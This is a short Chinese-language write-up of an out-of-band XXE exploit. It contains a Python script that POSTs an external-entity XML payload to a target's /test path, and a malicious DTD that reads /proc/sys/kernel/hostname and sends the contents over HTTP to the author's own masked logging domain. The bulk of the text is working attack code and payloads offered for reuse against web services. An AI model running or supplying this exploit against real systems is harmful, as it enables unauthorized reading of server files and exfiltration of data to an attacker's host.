0X01 旧的 xxe poc
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "{dnslog_url}">
%remote;
]>
该poc只能证明服务器请求过第三方dtd,但无法验证是否运行、是否读取了文件是否发出来信息
每次验证的时候,都需要在公网主机上建一个 xx.xml放置dtd,dtd再读文件指向dns或ftp,颇为麻烦
0X02 新的 xxe poc+exp
想起来我还有个自己搭建的dnslog + http log 平台
import requests
def exp_xxe_vul(domain):
my_xml = "http://域名手动打码.info/%s/3mognym4" % domain.replace(".", "-")
target = domain
schemes = ["http://", "https://"]
APPEND_PATHS = ["/test"]
headers = {
"Content-Type": "application/soap+xml"
}
post_data = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "{my_xml}">
%remote;]>
<root/>
"""
post_data = post_data.format(my_xml=my_xml)
for scheme in schemes:
domain = scheme + target
print(domain)
for APPEND_PATH in APPEND_PATHS:
url = domain + APPEND_PATH
try:
a = requests.post(url, post_data, headers=headers, timeout=7)
except:
pass
dtd由DNSLOG平台的http response功能提供
在获取DTD的时候,会附带上 domain.replace(".", "-")也就是域名的信息。
DTD
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://域名手动打码.info/3mognym4/%file;'>">
%int;
%send;
获取DTD之后,读取文件,将主机名用http的方式再发送到该页面来 (A页面 -> DTD -> A页面)
这里为什么不用dns的方式,因为文件中的换行符空格等可能阻断dns信息的传输
0X03 效果
下面的先出现的记录获取了域名信息
上面的后出现的记录获取了文件信息
妙极,域名和exp拿到的主机名对得上了